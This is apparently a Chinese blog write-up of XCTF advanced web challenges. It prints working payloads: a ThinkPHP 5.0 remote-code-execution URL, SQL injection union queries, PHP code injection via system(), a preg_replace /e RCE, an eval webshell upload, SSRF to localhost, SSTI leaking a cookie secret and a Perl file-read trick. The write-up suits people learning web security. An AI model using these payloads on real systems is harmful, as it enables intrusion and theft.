攻防世界 – WEB 进阶 Wp

php_rce 

本题使用的框架是ThinkPHP 5.0 的框架。此版本存在getshell漏洞(百度一下poc一抓一大把)

查找flag

http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22

 

payload

http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag 得到flag

//此处需要继续理解一下

 

Web_php_include

本题目前有很多新知识点,记录一下

Strstr函数:

strstr函数发现它对大小写十分敏感,所以我们可以用大写来进行绕过

strstr()函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回FALSE

注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用stristr()函数。

tr_replace() 函数:

 

定义和用法

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

 

该函数必须遵循下列规则:

 

如果搜索的字符串是数组,那么它将返回数组。

如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。

如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换

如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。

注释:该函数区分大小写。请使用 str_ireplace() 函数执行不区分大小写的搜索。

 

之后post 传入system函数

<?system(“ls”);?>查看文件目录 cat读取获得flag

 

News Center

这一题考察的是 SQL 注入

首先用 ‘ and 0 union select 1,2,3 # 来初步判断该sql查询返回三列数据

然后用

1′ union select 1,table_schema,table_name from

Information_schema.columns #

得到表名,很明显我们需要得到 secret_table 表中的内容

再用 1‘’union select 1,column_name,data_type from information_schema.columns where table_name=’secret_table’# 得到 secret_table 表的列名以及数据类型

 

最后就可以简单粗暴地得到flag

1′ and 0 union select 1,2,fl4g from secret_table #

在想为什么group_concat(table_name)为什么不可以

 

NaNNaNNaNNaN-Batman

考点:html乱码脚本处理

整理后:

 

满足正则length==16,正则的话^为开始符号,$为结尾符号,拼接一下:be0f233ac7be98aa,输入就拿到flag

 

Mfw
Git泄露

下载后index发现page可以闭合绕过

可以把后面‘, ‘..’) === false的给注释掉,构造page=’).phpinfo();//,可以得到回显

 

或者不注释也行,直接插入,构造page=’.phpinfo().’,也可以看见:

 

既然可以执行函数,那就简单了,使用system()函数(system函数详解),构造查看目录的payload?page=’.system(“ls”).’或者page=’).system(“ls”);//前者直接显示,后者在源码中才能看见。

 

由于源码直接下载有,所以直接构造得到flagpayload?page=’).system(“cat templates/flag.php”);//或者?page=’.system(“cat templates/flag.php”).’

 

WEB2

打开后为PHP源码

尝试反过来后获得flag

Unserialize3 

主要是绕过_wakeup

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。

 

O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}

 

输出的2改为1传入即可

 

Warm up

查看源码发现source.php

发现hint.php

提示flag not here, and flag in ffffllllaaaagggg

大意要求参数file在白名单内(这里有两次检查),然后包含这个文件。对于第二次检查,这里可以使用url多次编码进行绕过(事实上这也是web过检测的常见操作)

这是phpmyadmin 4.8.1的一个远程文件包含的漏洞

代码审计:

首先设置了一个白名单,只包含source.phphint.php,第一个if检查是否存在$page并且是否为字符串。

检查$page是否在白名单中,是的话返回true。接下来,两个函数一个mb_substrmb_strpos,总的意思就是截取变量page?前面的字符串,然后再进行白名单校验。

考虑了URL编码的缘故,再一次解码之后,进行校验。

最后的payload?file=source.php%253f/../../../../ffffllllaaaagggg

 

Web_php_unserialize

反序列化题

打开后是源码

反序列化获得fl4g里面的内容

 

获得flag

 

Lottery

Git 源码泄露

使用githack 下载源码

经过一番代码审计后成功找到了有用的信息

结合源码可知,这一句的意思就是把你的数字与win的数字一位一位的比较。

由于php是弱类型比较,我们就有了钻空子的机会。如  if(true == 任何非零的数字)   会返回 true

于是采用抓包改包的办法构造 payload = [true,true,true,true,true,true,true] ,结果如下图所示

{“action”:”buy”,”numbers”: [true,true,true,true,true,true,true]}

easy_tornado

测试后发现有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

尝试/error?msg={{datetime}}

在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象。

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings

An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,

RequestHandler.settings指向self.application.settings,

因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret:

/error?msg={{handler.settings}}

得到cookie_secret:

使用python计算hash

获得flag

 

python_template_injection

python模板注入

https://www.freebuf.com/column/187845.html  从零学习flask模板注入

暂时还不会 慢慢学

 

BUG

打开后是一个登录界面

尝试注册后找回密码

之后burp将username改成admin

更改成功后使用x-forwarded-for构造本地访问

上传php4/php5 webshell后 获得flag

//我这里注册不了 真是服了服了

工控系统一把

ics-05

打开后只有一个设备维护中心可以打开

尝试抓包

这里先尝试构造了一下x-forwarded-for:127.0.0.1

发现有了变化 成为了 欢迎 admin

之后再源码中发现了page=???的请求方式

尝试使用php伪协议读取源码 page=php://filter/read=convert.base64-encode/resource=index.php

解码后:发现关键代码

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
   echo "<br >Welcome My Admin ! <br >";
   $pattern = $_GET[pat];
   $replacement = $_GET[rep];
   $subject = $_GET[sub];
   if (isset($pattern) && isset($replacement) && isset($subject)) {
       preg_replace($pattern, $replacement, $subject);
   }else{
       die();
    }
这里有一个知识点:preg_replace函数导致的任意命令执行

函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

此处考察的是preg_replace 函数使用 /e模式,导致代码执行的问题
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码。且要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
 
此处我们如何使用呢?
首先x-forwarded-for 构造一个本地访问
之后get传入 pat=/test/e&rep=system(“cat%20s3chahahaDir/flag/flag.php”)&sub=test
获取到flag
//这里注意 传入的pat与sub变量必须有相同的字符才会执行任意代码
 

ics-04

找回密码存在sql注入

order by 发现四列

接着就是常规注入

最后 查到了2f8667f381ff50ced6a3edc259260ba9 密码

发现用cmd5解不开

怎么办呢???

通过观察重置密码的http请求,发现总共是3个请求,不同用户名的cookie是不变的,

因此我们可以构造一个SQL语句,使得查询出来的用户名是管理员的用户名,但是密保问题和答案是我们自己指定的,就可以成功重置密码了

payload:' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','ha1c9on','ha1c9on';#

ics-02

在文档查看有一个文档下载 把PHP改为PDF后 发现文章中大量的SSRF>>本题可能需要使用ssrf

ssrf:(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞

他可以做什么呢?

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网Web站点漏洞的利用

让我们回到这道题

尝试使用ssrf漏洞访问内网文件(访问什么呢?

扫目录看看吧!>>发现一手/secret/目录

点paper会向download.php传参,可以下载一个ssrf内容的pdf,
于是想到利用ssrf来访问secret_debug.php

/download.php?dl=http://127.0.0.1/secret/secret_debug.php?a=2

尝试传参s当s=3的时候有回显  

ics-07

查看源码

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

两段关键代码中显示 如果用户是admin 就有上传文件的权限

 if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1’ && substr($_GET[id], -1) === ‘9’)

传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin。

传入?page=flag.php?&id=1a9

获得admin权限

之后

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

这里的正则过滤了好多//正则看不懂告辞

继续上传文件拿到shell

这里代码中有个坑:上传目录不是backup 而是else中的uploaded

代码逻辑为把con中的数据写入file中 并指定file文件名

传入 con=<?php @eval($_POST[‘cmd’]);?>&file=../1php/.

其中file中参数是linux系统创建是的参数 

蚁剑连接后获得flag

 

i-got-id-200

打开后有三个页面

一个用户名 测试后无sql注入

一个文件上传 测试后发现会把上传的文件读出来并显示

发现url中含有file.pl

根据之前看师傅们的博客

如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:

这里注意 传入文件多复制出来一个文件传入命令

任意文件读取可利用bash – c ls/|执行命令

发表评论

邮箱地址不会被公开。 必填项已用*标注